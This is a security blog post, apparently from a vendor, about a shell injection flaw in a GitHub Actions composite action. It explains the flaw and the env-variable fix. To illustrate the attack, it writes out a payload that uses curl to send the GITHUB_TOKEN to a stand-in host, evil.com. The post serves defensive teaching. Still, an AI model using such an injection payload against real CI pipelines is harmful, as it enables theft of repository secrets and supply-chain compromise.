Back to Blog
high SEVERITY6 min read

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

O
By Orbis AppSec
Published July 24, 2026Reviewed July 24, 2026

Answer Summary

This is a GitHub Actions shell injection vulnerability (CWE-78) caused by using `${{ inputs.input }}` directly in a `run:` step in a composite action YAML file. The fix replaces the dangerous interpolation with an `env:` block that assigns the input to an environment variable (`INPUT`), which is then referenced as `"$INPUT"` in the shell script—preventing attacker-controlled input from being interpreted as shell commands.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse an `env:` block to pass input as an environment variable instead of inline interpolation
riskArbitrary code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML / Bash (GitHub Actions)
root causeDirect use of `${{ inputs.input }}` in a `run:` shell step without sanitization
vulnerabilityShell injection via GitHub Actions expression interpolation

How Shell Injection via ${{ Variable Interpolation Happens in GitHub Actions and How to Fix It

Introduction

In a production repository's .github/commaSplitter/action.yaml, we discovered a high-severity shell injection vulnerability at line 19. The composite action's purpose is simple: take a comma-separated input string and split it into a JSON array. But the way it consumed user input—by directly interpolating ${{ inputs.input }} into a bash run: step—created a dangerous attack surface that could allow an attacker to execute arbitrary code on the GitHub Actions runner, steal repository secrets, and compromise the CI/CD pipeline.

The vulnerable line looked like this:

IFS=',' read -ra list_data <<< "${{ inputs.input }}"

This pattern is deceptively common in GitHub Actions workflows. Developers often assume that because the input is "just a string," it's safe to interpolate directly. But GitHub Actions expression interpolation happens before the shell script is constructed, meaning an attacker's payload becomes part of the script itself.

The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

When GitHub Actions encounters ${{ inputs.input }} in a run: step, it performs a text substitution at the YAML template level. The resulting string is then written to a temporary shell script file and executed. This means whatever value inputs.input contains becomes literal shell script text.

Here's the vulnerable code in .github/commaSplitter/action.yaml:

runs:
  using: "composite"
  steps:
    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

The Attack Scenario

Imagine this composite action is called from a workflow that processes data from a pull request or issue—perhaps splitting a comma-separated list of labels, file paths, or reviewer names. An attacker could provide an input value like:

"; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #

After GitHub Actions interpolation, the generated shell script would become:

IFS=',' read -ra list_data <<< ""; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #"

The attacker has:
1. Closed the heredoc string with "
2. Terminated the first command with ;
3. Injected an arbitrary curl command that exfiltrates the GITHUB_TOKEN
4. Commented out the rest of the line with #

Even more dangerous payloads could:
- Access all secrets available to the workflow via ${{ secrets.* }} (which are exposed as environment variables)
- Modify the repository by pushing malicious commits
- Install backdoors in build artifacts (supply chain attack)
- Pivot to other systems using stored credentials

Why This Is Particularly Dangerous

The commaSplitter action is a reusable composite action. Any workflow in the repository (or potentially in other repositories if it's a public action) that calls this action with user-influenced data becomes vulnerable. The blast radius extends beyond a single workflow file.

The Fix

The fix introduces an intermediate environment variable using the env: block, which is the GitHub-recommended pattern for handling untrusted input:

Before (vulnerable):

    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

After (fixed):

    - name: Split the input
      id: splitter
      shell: bash
      env:
        INPUT: ${{ inputs.input }}
      run: |
        IFS=',' read -ra list_data <<< "$INPUT"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

Why This Works

The critical difference is when and how the value is processed:

  1. env: block assignment: INPUT: ${{ inputs.input }} — GitHub Actions sets the environment variable INPUT to the literal string value of inputs.input. The value is stored as data, not injected into script text.

  2. Shell variable reference: "$INPUT" — When bash executes, it reads the INPUT environment variable. Because it's enclosed in double quotes, the shell treats it as a single string argument, regardless of what characters it contains. Shell metacharacters like ;, |, $(), and backticks are not interpreted.

The attacker's payload "; curl -s https://evil.com/exfil # would now simply be passed as a literal string to the read command—it would be treated as data to split on commas, not as shell commands to execute.

Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Steps with Untrusted Data

Any GitHub context that can be influenced by external users is untrusted:
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.head_ref
- inputs.* (for reusable/composite actions)
- github.event.comment.body

2. Always Use the env: Pattern

env:
  UNTRUSTED_DATA: ${{ github.event.pull_request.title }}
run: |
  echo "Processing: $UNTRUSTED_DATA"

3. Enable Static Analysis for GitHub Actions

Use tools like:
- Semgrep with the yaml.github-actions.security.run-shell-injection.run-shell-injection rule
- actionlint — a dedicated GitHub Actions linter
- CodeQL — GitHub's own code scanning with Actions-specific queries

4. Limit Permissions

Use the permissions: key to restrict GITHUB_TOKEN scope. If a workflow only needs to read code, don't grant it write access:

permissions:
  contents: read

5. Review Composite Actions Carefully

Composite actions are reused across workflows. A single vulnerability in a composite action multiplies across every caller.

Key Takeaways

  • ${{ inputs.input }} in a run: step is never safe when the input can be influenced by untrusted users—even in composite actions that seem internal.
  • The commaSplitter action's simple comma-splitting logic masked a critical injection point because developers focused on the business logic rather than the data flow.
  • Environment variables with env: blocks are the only safe way to pass GitHub context data into shell scripts in GitHub Actions.
  • Composite actions amplify risk because they're reused—fixing this one file protects every workflow that calls commaSplitter.
  • Semgrep's run-shell-injection rule reliably detects this exact pattern and should be part of every repository's CI pipeline.

How Orbis AppSec Detected This

  • Source: The inputs.input parameter of the composite action at .github/commaSplitter/action.yaml, which receives arbitrary string data from calling workflows.
  • Sink: The run: step at line 19, where ${{ inputs.input }} was directly interpolated into a bash heredoc string (<<< "${{ inputs.input }}"), allowing shell command injection.
  • Missing control: No intermediate environment variable or input sanitization was applied between the untrusted input source and the shell execution context.
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced direct ${{ inputs.input }} interpolation with an env: block (INPUT: ${{ inputs.input }}) and referenced the environment variable ("$INPUT") in the shell script.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is one of the most underappreciated security risks in modern CI/CD pipelines. The ${{ }} interpolation syntax makes it trivially easy to introduce command injection vulnerabilities that can compromise secrets, source code, and build artifacts. The fix demonstrated here—using an env: block to safely pass inputs.input as the INPUT environment variable—is simple, behavior-preserving, and eliminates the attack surface entirely. Every team using GitHub Actions should audit their workflows for this pattern today.

References

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when attacker-controlled data (from PR titles, branch names, issue bodies, or action inputs) is directly interpolated into a `run:` step using `${{ }}` expressions. The GitHub Actions runner expands these expressions before the shell executes, allowing injected shell metacharacters to execute arbitrary commands.

How do you prevent shell injection in GitHub Actions?

Use an `env:` block to assign untrusted data to an environment variable, then reference that variable in the `run:` script with proper quoting (e.g., `"$ENVVAR"`). This ensures the data is treated as a string value rather than being parsed as shell syntax.

What CWE is shell injection in GitHub Actions?

It maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection). Some classifications also reference CWE-77 (Command Injection) depending on the specific injection vector.

Is input validation enough to prevent shell injection in GitHub Actions?

Input validation alone is insufficient because GitHub Actions expression interpolation (`${{ }}`) happens at the YAML template level before the shell even runs. Even with validation logic in the script, the malicious payload has already been injected into the script text. The only reliable fix is to avoid inline interpolation entirely by using environment variables.

Can static analysis detect shell injection in GitHub Actions?

Yes. Tools like Semgrep have specific rules (e.g., `yaml.github-actions.security.run-shell-injection.run-shell-injection`) that detect when `${{ github.* }}` or `${{ inputs.* }}` expressions are used directly in `run:` steps. These rules flag the pattern for manual review or automated remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #602

Related Articles

high

How Dependabot Missing Cooldown Periods Enable Supply Chain Attacks and How to Fix It

A critical security vulnerability in `.github/dependabot.yml` was exposing a Node.js library to supply chain attacks by automatically updating to newly published packages without a safety delay. By adding a 7-day cooldown period to each package ecosystem configuration, the project now protects against malicious or unstable package versions that could affect downstream consumers.

high

How Missing Dependabot Cooldown Periods Enable Supply Chain Attacks in CI/CD Pipelines and How to Fix Them

We fixed a high-severity supply chain security gap in `.github/dependabot.yml` where missing cooldown periods allowed immediate adoption of newly published packages. The fix adds `cooldown: default-days: 7` to all package ecosystems, creating a critical security buffer against typosquatting and malicious dependency attacks.

high

How Dependabot Missing Cooldown Vulnerability Happens in GitHub Actions and How to Fix It

Dependabot configurations without cooldown periods can automatically propose updates from newly published packages within hours—potentially including malicious or unstable versions. This vulnerability in `.github/dependabot.yml` was fixed by adding a `cooldown` block with `default-days: 7` to delay updates and allow time for community vetting.

high

How dependabot-missing-cooldown happens in GitHub Actions configuration and how to fix it

A high-severity vulnerability in `.github/dependabot.yml` left this repository vulnerable to supply chain attacks through immediate adoption of newly published packages. The fix adds a mandatory 7-day cooldown period to all three package ecosystems, preventing automatic updates to potentially malicious or unstable dependencies before they can be vetted by the community.

high

How a missing cooldown period happens in Dependabot configs and how to fix it

A Dependabot configuration in `.github/dependabot.yml` had no cooldown period, meaning Dependabot could open pull requests for brand-new package versions the moment they were published — before the community had a chance to flag malware, typosquats, or breaking bugs. The fix adds a `cooldown` block with `default-days: 7` to every `package-ecosystem` entry, forcing a one-week buffer before new releases are proposed.

high

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.